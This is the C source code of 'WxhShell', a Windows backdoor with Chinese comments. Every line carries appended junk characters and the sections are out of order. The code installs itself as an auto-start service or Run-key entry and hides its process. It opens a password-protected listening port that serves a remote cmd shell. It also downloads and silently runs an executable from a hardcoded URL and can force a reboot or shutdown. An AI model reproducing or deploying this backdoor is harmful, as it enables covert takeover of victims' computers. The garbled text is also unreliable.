    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Bt;DM#>  
    else { &;ZC<?wS  
    closesocket(wsh); gH{:`E k7  
    ExitThread(0); #)_J)/h  
    } ^e?$ ]JiA!  
    break; 3VcT7y*{P  
    } U_ x0KIm  
  // 获取shell /&D'V_Q`*  
  case 's': { 2q"_^deI5*  
    CmdShell(wsh); uX[O,l^}  
    closesocket(wsh); g|ql 5jW  
    ExitThread(0); 3TU'*w &  
    break; ,WGc7NN`  
  } l|7O)  
  // 退出 Cg^:jd  
  case 'x': { >8(jW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {"t5\U6cKM  
    CloseIt(wsh); 8O9Gs  
    break; >uHb ^  
    } _ ~[M+IO   
  // 离开 %4/xH 9  
  case 'q': { W "k| K:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +|0 t  
    closesocket(wsh); }#bZ8tm&  
    WSACleanup(); *Dc@CmBr  
    exit(1); fbV@=(y?  
    break; 6B /Jp  
        } IK85D>00T  
  } ^g\h]RD}  
  }  POkXd^pI  
S`fu+^c v  
  // 提示信息 omr:C8T>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k#BU7Exij  
} 3$;J0{&[i  
  } r*xq(\v  
/]P%b K6B  
  return; ' 1]bjW*!  
} |VEAzY|[#  
*pUV-^uo  
// shell模块句柄 FAl6  
int CmdShell(SOCKET sock)  y, _3Ks  
{ R*fR?  
STARTUPINFO si; j;'Wf[V  
ZeroMemory(&si,sizeof(si)); X[Gk!d r#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r:rJv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _VJwC|  
PROCESS_INFORMATION ProcessInfo; <5vB{)Tq  
char cmdline[]="cmd"; r@UY$z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 80>!qG  
  return 0; &bK$!8Z  
} FQ1oqqr  
.g?,:$`0D?  
// 自身启动模式 C>VZf,JE1  
int StartFromService(void) o@;_(knb  
{ *lO+^\HXD  
typedef struct +Z]%@"S?  
{ _oVA0@#n  
  DWORD ExitStatus; 5)<jPyC  
  DWORD PebBaseAddress; YcZ4y@6"  
  DWORD AffinityMask; U# B  
  DWORD BasePriority; AE _~DZ:%c  
  ULONG UniqueProcessId;  p ivS8C  
  ULONG InheritedFromUniqueProcessId; 1]`HX=cl  
}   PROCESS_BASIC_INFORMATION; ^SCWT\E  
FR"^?z?}p  
PROCNTQSIP NtQueryInformationProcess; $c47cJO)W  
-y<uAI g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z(eAwmuli  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DL_\luh  
czRh.kz,  
  HANDLE             hProcess; .x%SbG<k{  
  PROCESS_BASIC_INFORMATION pbi; 4*W7{MPY  
fh<G& E8 p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gbQrSJs!Zh  
  if(NULL == hInst ) return 0; g^4'42UX  
TJ2$ Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b@z/6y!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &kYg >X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DoNbCVZ  
I:bi8D6  
  if (!NtQueryInformationProcess) return 0; k+&LOb7  
BWfsk/lej  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m7g; psg  
  if(!hProcess) return 0; wM_k D  
~48Uch\LG:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9m%[ y1v0  
C!%BW%"R  
  CloseHandle(hProcess); }_:^&cT  
%j{gZTz-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W?5^cEF  
if(hProcess==NULL) return 0; vfcj,1  
P*)}ENY  
HMODULE hMod; F{B__Kf  
char procName[255]; NuLQkf)  
unsigned long cbNeeded; FF)F%o+:w  
/mo4Q?^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &v'e;W  
uiPfAPZ  
  CloseHandle(hProcess); Jf YO|,  
{ajaM'x  
if(strstr(procName,"services")) return 1; // 以服务启动 0[H'l",~  
O*`] ]w]  
  return 0; // 注册表启动 [wj&.I{^s  
} ggzg, ~V  
LIT{rR#8  
// 主模块 :1PT`:Y  
int StartWxhshell(LPSTR lpCmdLine) hg/G7Ur"  
{ Uw8O"}U8  
  SOCKET wsl; <=W;z=$!Bb  
BOOL val=TRUE; WSz#g2a  
  int port=0; ,JYvfCA  
  struct sockaddr_in door; 'j 'bhG  
{r?O>KDQf(  
  if(wscfg.ws_autoins) Install(); G&I\Za;   
5Q;Fwtm  
port=atoi(lpCmdLine); WZOi,  
LBh|4S$K  
if(port<=0) port=wscfg.ws_port; "t$c'`  
O(2)A>}  
  WSADATA data; swss#?.se  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jQxv` H  
$b,o3eC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l}:&}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "CI#2tnL7  
  door.sin_family = AF_INET; oJE~dY$Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5V;BimI  
  door.sin_port = htons(port); Km7HB!=<  
56T<s+X>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +Wrj%}+  
closesocket(wsl); i0; p?4`m  
return 1; `O4Ysk72x9  
} ZV=O oL t,  
dtD)VNkBZ  
  if(listen(wsl,2) == INVALID_SOCKET) { Y3KKskhLx  
closesocket(wsl); N/IDj2C4  
return 1; CT(VV6I\  
} sH(@X<{p  
  Wxhshell(wsl); )!M %clm.  
  WSACleanup(); }i0(^"SoXZ  
JG\T2/b  
return 0; {=};<;_F  
+ExXhT  
} &4-rDR,  
(y{nD~k  
// 以NT服务方式启动 PmT,*C`/X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B^sHFc""V  
{ (VA:`pstP  
DWORD   status = 0; =| M[JPr  
  DWORD   specificError = 0xfffffff; ^7&0P m  
2gbMUdpp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w=S7zzL)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A`qb5LLJ)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $>mTPNF  
  serviceStatus.dwWin32ExitCode     = 0; h2C1'+Q{9  
  serviceStatus.dwServiceSpecificExitCode = 0; ,-[dr|.  
  serviceStatus.dwCheckPoint       = 0; Q&Ox\*sMK  
  serviceStatus.dwWaitHint       = 0; `nDgwp:b"  
>{]mN5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %<Q?|}  
  if (hServiceStatusHandle==0) return; 63?fn~0\  
$@blP<I  
status = GetLastError(); uKZe"wN;  
  if (status!=NO_ERROR) 4SqZ V  
{ +T@a/(Gl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wbaXRvg  
    serviceStatus.dwCheckPoint       = 0; n|oAfJUk,  
    serviceStatus.dwWaitHint       = 0; ZP& "[_  
    serviceStatus.dwWin32ExitCode     = status; kFG>Km(y}  
    serviceStatus.dwServiceSpecificExitCode = specificError; S6sw)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q(2X$7iRq  
    return; hL,+wJ+A  
  } M7(vI4V  
G/Xa`4"_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fr0iEO_  
  serviceStatus.dwCheckPoint       = 0; .bYDj&]P{  
  serviceStatus.dwWaitHint       = 0; e,}]K'!t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1;l&ck-Gg/  
} 2b]'KiX  
I,r 3.2u  
// 处理NT服务事件,比如:启动、停止 qYW{$K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qj? G KO  
{ pX]*&[X?  
switch(fdwControl) *a@pZI0'  
{ rSD!u0c [  
case SERVICE_CONTROL_STOP: .6[xX?i^T  
  serviceStatus.dwWin32ExitCode = 0; 1@Bq-2OD4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W&]grG2/  
  serviceStatus.dwCheckPoint   = 0; <4y1[/S  
  serviceStatus.dwWaitHint     = 0; NBR6$n  
  { \>j._#t$h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EvMhNq~y5  
  } vL13~q*F  
  return; OxqbHe  
case SERVICE_CONTROL_PAUSE: yg "u^*r&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I C9:&C[  
  break; 2C %{A  
case SERVICE_CONTROL_CONTINUE: 0K, *FdA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @.-g  
  break; (^eSm]<  
case SERVICE_CONTROL_INTERROGATE: .F.4fk  
  break; |nXs'TO'O  
}; mY.[AIB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r,i^-jv;  
} WB5[!  
PF@<>NO+W  
// 标准应用程序主函数 p0uQ>[NV0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @g""*T1:$  
{ 1c,$D5#  
B4GgR,P@S  
// 获取操作系统版本 -sGfpLy<6  
OsIsNt=GetOsVer(); *gu~7&yoP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i+jSXn"_  
rayC1#f  
  // 从命令行安装 9pStArF?F0  
  if(strpbrk(lpCmdLine,"iI")) Install(); >mT2g  
&iL"=\#  
  // 下载执行文件 >&e|ins^N  
if(wscfg.ws_downexe) { I 8`@Srw8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P$Xig  
  WinExec(wscfg.ws_filenam,SW_HIDE); &BCl>^wn}  
} Tw`^  
(m=-oQ&Ro  
if(!OsIsNt) { 0~R0)Q,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,K6s'3O(LW  
HideProc(); ?H0 #{!s  
StartWxhshell(lpCmdLine); 3F[z]B  
} 7 \!t/<  
else yiSv#wD9  
  if(StartFromService()) \$V~kgQ0  
  // 以服务方式启动 'F?T4  
  StartServiceCtrlDispatcher(DispatchTable); /'u-Fr(Q+  
else SI*O#K=w  
  // 普通方式启动 {b"V7vn,  
  StartWxhshell(lpCmdLine); C\j|+s  
^|Of  
return 0; 5<GC  
} k!>MZ  
VjBV2x  
)Pakb!0H@t  
s|dcO  
=========================================== ,Za!  
GP<A v1  
G}&B{Ir  
ZC@ 33Q(  
[DC8X P5 <  
(q59cAw~X  
" y9{KBM%h  
7$b!-I+ a2  
#include <stdio.h> 75u/'0~5  
#include <string.h> JQj?+PI  
#include <windows.h> |77.Lqqy,  
#include <winsock2.h> *8M 0h9S$  
#include <winsvc.h> l<>syHCH;L  
#include <urlmon.h> g'ha7~w(p  
@#hd8_)A.  
#pragma comment (lib, "Ws2_32.lib") OS;qb:;  
#pragma comment (lib, "urlmon.lib") epI&R)]   
rG|lRT3-K  
#define MAX_USER   100 // 最大客户端连接数 )y4bb^;z  
#define BUF_SOCK   200 // sock buffer 3gV 17a  
#define KEY_BUFF   255 // 输入 buffer  $A]2Iw!&  
l\xcR]O  
#define REBOOT     0   // 重启 ;gLHSHEA  
#define SHUTDOWN   1   // 关机 IL;JdIa  
j*+[=X/  
#define DEF_PORT   5000 // 监听端口 mSF>~D1_  
0tyoH3o/d  
#define REG_LEN     16   // 注册表键长度 4r&DW'  
#define SVC_LEN     80   // NT服务名长度 meey5}  
"HX,RJ @^K  
// 从dll定义API VPW@y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GOrDDp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tIn dve  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $c"byQ[3S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wX5Yo{  
hEUS&`K  
// wxhshell配置信息 :/UO3 c(  
struct WSCFG { 9 Rl-Jz8g  
  int ws_port;         // 监听端口 omz%:'m`~  
  char ws_passstr[REG_LEN]; // 口令 DQ%bcXs  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7QV@lR<C2R  
  char ws_regname[REG_LEN]; // 注册表键名 .)=T1^[hI  
  char ws_svcname[REG_LEN]; // 服务名 &U*MLf83`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [bM$n m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F{*{f =E!B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q1f)uwh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h0**[LDH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XBx&&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,~8&0p  
qZQB"Q.*  
}; @yV.Yx"p_  
)R %>g-dw  
// default Wxhshell configuration T{ WJf-pI  
struct WSCFG wscfg={DEF_PORT, JG^fu*K  
    "xuhuanlingzhe", LV}Z[\?   
    1, ;]gj:6M  
    "Wxhshell", 9 +1}8"~  
    "Wxhshell", uwI$t[  
            "WxhShell Service", =Jyi9VN=&  
    "Wrsky Windows CmdShell Service", hW<TP'Zm*  
    "Please Input Your Password: ", ~ eNKu  
  1, `@<>"ff#F  
  "http://www.wrsky.com/wxhshell.exe", 9U]3B)h%m  
  "Wxhshell.exe" (V(8E%<c  
    }; C[ma!he  
\u4`6EYF?  
// 消息定义模块 zrDcO~w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5,_DM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y.>1r7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P>}OwW  
char *msg_ws_ext="\n\rExit."; Z Jgy!)1n  
char *msg_ws_end="\n\rQuit."; `8 Ann~Z|k  
char *msg_ws_boot="\n\rReboot..."; jjT)3 c:J[  
char *msg_ws_poff="\n\rShutdown..."; Kcu*Z  
char *msg_ws_down="\n\rSave to "; PenkqDc}  
1[] 9EJ  
char *msg_ws_err="\n\rErr!"; Mg~62u  
char *msg_ws_ok="\n\rOK!";  u> @@  
M o?y4X  
char ExeFile[MAX_PATH]; rtxG-a56Q  
int nUser = 0; 9Zj9e  
HANDLE handles[MAX_USER]; 4k_y;$4WN  
int OsIsNt; j&-<e7O=  
a7U`/*  
SERVICE_STATUS       serviceStatus; d_1uv_P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GMKY1{   
G2 0   
// 函数声明 b QgtZHO  
int Install(void); [;Y*f,UG_-  
int Uninstall(void); jPIOBEIG  
int DownloadFile(char *sURL, SOCKET wsh); s}lp^Uh=  
int Boot(int flag); =#T3p9  
void HideProc(void); o?| ]ciY  
int GetOsVer(void); e_+SBN1`P&  
int Wxhshell(SOCKET wsl); Dqg01_O9O  
void TalkWithClient(void *cs); VQ7A"&hh  
int CmdShell(SOCKET sock); ^wlo;.8Y  
int StartFromService(void); /0YO`])"  
int StartWxhshell(LPSTR lpCmdLine); _ SJ Fuv/  
-Oplk*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pGcijD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ms6dl-_t  
:Aa5,{v _  
// 数据结构和表定义 9Pql\]9"o  
SERVICE_TABLE_ENTRY DispatchTable[] = gxc8O).5vY  
{ Ksff]##H  
{wscfg.ws_svcname, NTServiceMain}, IFbN ]N0  
{NULL, NULL} o(stXa  
}; (R]b'3,E$  
JN-W`2  
// 自我安装 dO!B=/  
int Install(void) !@T5](zV  
{ :Izdj*HL;A  
  char svExeFile[MAX_PATH]; [j 'lB  
  HKEY key; hQ}y(2A.XI  
  strcpy(svExeFile,ExeFile); ^wD@)Dz  
,.i)(Or  
// 如果是win9x系统,修改注册表设为自启动 ]p*Fq^  
if(!OsIsNt) { ,&LGAa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jJ3dZ<#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Is#_Z|  
  RegCloseKey(key); $O9,Gvnxx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rg7~?b-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fzr0dcNgM  
  RegCloseKey(key); lNx:_g:SrZ  
  return 0; j4+kL4M@H  
    } evlz R/  
  } c^7QiTt_  
} <|;)iT1VeT  
else { F/:Jp3@  
M,g$  
// 如果是NT以上系统,安装为系统服务 ; mwU>l,4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (3N;-   
if (schSCManager!=0) v4VP7h6uD)  
{ }TG=ZVi  
  SC_HANDLE schService = CreateService  K2D, *w  
  ( ~#|Pe1Y  
  schSCManager, kZNVUhW6S  
  wscfg.ws_svcname, L)3JTNiB  
  wscfg.ws_svcdisp, b 2XUZ5  
  SERVICE_ALL_ACCESS, CDT3&N1'R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2py [P  
  SERVICE_AUTO_START, F~x>\?iN  
  SERVICE_ERROR_NORMAL, E&>=  
  svExeFile, f~{4hVA  
  NULL, />dYkIv  
  NULL, -P-&]F5  
  NULL, 15CKcM6  
  NULL, o|nN0z)b4  
  NULL :7)lgiM2  
  ); p>= b|Qy|  
  if (schService!=0) zA*I=3E(  
  { /s "Lsbe  
  CloseServiceHandle(schService); 5'S~PQka*  
  CloseServiceHandle(schSCManager); */y (~O6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P:fcbfH+  
  strcat(svExeFile,wscfg.ws_svcname); hv#|dI=kZR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YOQ>A*@4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q=#N4[W'  
  RegCloseKey(key); Fm4)|5  
  return 0; TcOmBKps'  
    } Q8_5g$X\  
  } e0IGx]5i  
  CloseServiceHandle(schSCManager); 3@* ~>H  
} ?"kU+tCxg  
} G0Z$p6z  
s"~,Zzy@j  
return 1; v7v>  
} ZIc-^&`r=  
a, `B.I  
// 自我卸载 8jiBLZkRf  
int Uninstall(void) 5nK|0vv%2  
{  h}}7_I9  
  HKEY key; -*2b/=$u  
aw7pr464  
if(!OsIsNt) { 5oOs.(m|*C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]ed7Q3lq  
  RegDeleteValue(key,wscfg.ws_regname); :ra[e(l9  
  RegCloseKey(key); MW0CqMi]T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2(GLc*B>  
  RegDeleteValue(key,wscfg.ws_regname); -CPLgT  
  RegCloseKey(key); f Qw|SW  
  return 0; GB}X  
  } vVo# nzeZ5  
} ^(:na6C  
} t'C9;  
else { w h^I|D?"  
*C> N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `?T8NK  
if (schSCManager!=0) z f^@f%R  
{ ~SEIIq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S7CD#Y[s  
  if (schService!=0) 1 EHNg<J(  
  { UZE%!OWpeK  
  if(DeleteService(schService)!=0) { y{nX 6  
  CloseServiceHandle(schService); {dV!sQD  
  CloseServiceHandle(schSCManager); M5S<N_+Pe  
  return 0; RY*s}f  
  } =}W)%Hldr.  
  CloseServiceHandle(schService); 'RCX6TKBnR  
  } &MP8.( u `  
  CloseServiceHandle(schSCManager); }iR!uhi#  
} *Rj*%S  
} Js !Zk\O  
;'|t>'0_  
return 1; {>#4{D00  
} sT"{ e7;F;  
!q*]_1  
// 从指定url下载文件 C#.d sl  
int DownloadFile(char *sURL, SOCKET wsh) 'gz@UE1  
{ cUr'mb  
  HRESULT hr; LD}ZuCp!  
char seps[]= "/"; LpSd/_^b  
char *token; SyR[G*djl  
char *file; l@%7] 0!T  
char myURL[MAX_PATH]; 0CUUgwA /  
char myFILE[MAX_PATH]; 7o64|@'j  
XZ&q5]PJI  
strcpy(myURL,sURL); ;+]GyDgVq  
  token=strtok(myURL,seps); xBMhk9b^0  
  while(token!=NULL) .e%B'  
  { <rFY$ ?x  
    file=token; >=Un=Q%  
  token=strtok(NULL,seps); Z(-@8=0  
  } EK}f-Xei  
zi}dQsy6  
GetCurrentDirectory(MAX_PATH,myFILE); fmj-&6  
strcat(myFILE, "\\"); rF5O?<(  
strcat(myFILE, file); hSD uByoi  
  send(wsh,myFILE,strlen(myFILE),0); u!&Vbo? .B  
send(wsh,"...",3,0); D +vHl}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3pKr {U92  
  if(hr==S_OK) u9"1%  
return 0; rz%=qY  
else Awad!_VdHS  
return 1; C.$`HGv  
<w d+cPZQr  
} 7:t *&$  
ye)CfP=ID\  
// 系统电源模块 7.PG*q  
int Boot(int flag) ggUJ -M'2h  
{ 0g@ 8x_3  
  HANDLE hToken; 4W9#z~'  
  TOKEN_PRIVILEGES tkp; #Xc6bA&  
b;O|-2AR  
  if(OsIsNt) { +SSF=]4+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t*zBN!Wu_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FU|c[u|z  
    tkp.PrivilegeCount = 1; 6* /o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {%5tqF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u"\HBbBx  
if(flag==REBOOT) { f`?Y+nu}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L s=2!  
  return 0; F.b;O :  
} c"3 a,&  
else { 0k5;Qf6A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {<a(1#{  
  return 0; &LO<!WKQ  
} |:s 4#3  
  } sV/#P<9  
  else { J}qk:xGL  
if(flag==REBOOT) { aU3 m{pE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -So&?3,\A@  
  return 0; Z_Ox'  
} nl|}_~4U  
else { qh/q<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f$mfY6v  
  return 0; ;6I{7[  
} 0sq1SHI{  
} a3L]'E'*#  
#_}lF<k  
return 1; l|`%FB^k  
} \. A~>=:  
ur-&- G^  
// win9x进程隐藏模块 @4 m_\]Wy  
void HideProc(void) : 2?J#/o  
{ v6 DN:!&  
pO$`(+q[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dZm>LVjG  
  if ( hKernel != NULL ) FS r`Y  
  { I.j`h2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m,v"N%k,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @c{=:kg5  
    FreeLibrary(hKernel); o(w1!spA  
  } %O;"Z`I  
b7{)B?n  
return; Dg/&m*Yl  
} _d&zHlc_  
OB8fFd  
// 获取操作系统版本 )+Wx!c,mb  
int GetOsVer(void) A0yRA+  
{ vV-ATIf ^  
  OSVERSIONINFO winfo; Ob?>zsx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I@a7AuOw  
  GetVersionEx(&winfo); ]v@#3,BV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C<2vuZD  
  return 1; 0]{h,W3]@[  
  else a_m P$4T  
  return 0; ox] LlRK  
} D,dmlv  
#O z<<G<  
// 客户端句柄模块 s<|.vVi"  
int Wxhshell(SOCKET wsl) eCMcr !.  
{ +q"d=   
  SOCKET wsh; |:`f#H  
  struct sockaddr_in client; \szx.IZT  
  DWORD myID; gAC}  
\i}n1Qd  
  while(nUser<MAX_USER) ~!&WK,k6  
{ B%Dy;zdWd/  
  int nSize=sizeof(client); v&i M/pJU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K7Kd{9-2  
  if(wsh==INVALID_SOCKET) return 1; 3 zp)!QJi  
g4&zBn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Am%zEt$c  
if(handles[nUser]==0) BHOxwW{  
  closesocket(wsh); ;#P@(ZVT  
else m'XzZmI  
  nUser++; HlBw:D(z:^  
  } *qj @y'1\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^q_0(Vf  
<33[qt~  
  return 0; k/=J<?h0  
} X{P_HCd  
!>Db  
// 关闭 socket )TFaG[tj  
void CloseIt(SOCKET wsh) f ySzZ  
{ VmHok  
closesocket(wsh); _N$3c<dY'  
nUser--; .slA }  
ExitThread(0); ,>V|%tD'  
} nZ>qM]">u  
}L>}_NV\  
// 客户端请求句柄 QUVwO m  
void TalkWithClient(void *cs) fQ=Yf?b  
{ z4b2t}  
B/:q  
  SOCKET wsh=(SOCKET)cs; oS0l Tf\  
  char pwd[SVC_LEN]; _d 76jmujJ  
  char cmd[KEY_BUFF];  msM  
char chr[1]; d }=fJ  
int i,j; tisSj?+  
M' e<\wqm  
  while (nUser < MAX_USER) { f <fa +fB  
~ P"@^cq  
if(wscfg.ws_passstr) { &YGd!Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \,ARYwd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +%7v#CY &  
  //ZeroMemory(pwd,KEY_BUFF); ExeD3Zj  
      i=0; Wf/r@/ q  
  while(i<SVC_LEN) { 1PpZ*YK3z  
uf]S PG#/D  
  // 设置超时 X0Zqx1  
  fd_set FdRead; FkY}6  
  struct timeval TimeOut; i'OFun+-,  
  FD_ZERO(&FdRead); 1)pwR3(^Fz  
  FD_SET(wsh,&FdRead); GK .^Gd  
  TimeOut.tv_sec=8; H )hO/1 m  
  TimeOut.tv_usec=0; z`$jxSLm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nNz1gV:0X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {L~j;p_G&  
7rQwn2XD{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0b6jGa  
  pwd=chr[0]; a?jUm.  
  if(chr[0]==0xd || chr[0]==0xa) { 6D|[3rXr  
  pwd=0;  9uR+  
  break; 5{Q5?M]  
  } F] e` -;  
  i++; 2 j.6  
    } X)oxNxZ[A  
0DtewN{Z  
  // 如果是非法用户,关闭 socket W[c[ulY&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %O6r  
} ]QKo>7%[  
)U12Rshl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $mxm?7ZVR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`KK  
yPY}b_W  
while(1) { ;)~}/nR<a  
8tfM,.]_i  
  ZeroMemory(cmd,KEY_BUFF); OQW%nF9~  
"DaE(S&  
      // 自动支持客户端 telnet标准   Q^\m@7O :  
  j=0;  :o~]FVf  
  while(j<KEY_BUFF) { 'Qdea$o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q g~cYwX  
  cmd[j]=chr[0]; L0l'4RRm\  
  if(chr[0]==0xa || chr[0]==0xd) { {wy{L-X  
  cmd[j]=0; 8[b_E5!V  
  break; T:T`M:C.  
  } I(<9e"1O  
  j++; X)e#=w!fi3  
    } |d$4Fu(M~  
1aI&jdJk  
  // 下载文件 K;z$~;F  
  if(strstr(cmd,"http://")) { Ez8k.]qu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c@3mfc{  
  if(DownloadFile(cmd,wsh)) :V3z`}Rl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)Pj()Os|  
  else H )51J:4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l~]D|92  
  } 6ao~f?JZ  
  else { d^=9YRc  
#M%K82"  
    switch(cmd[0]) { &szYa-K*  
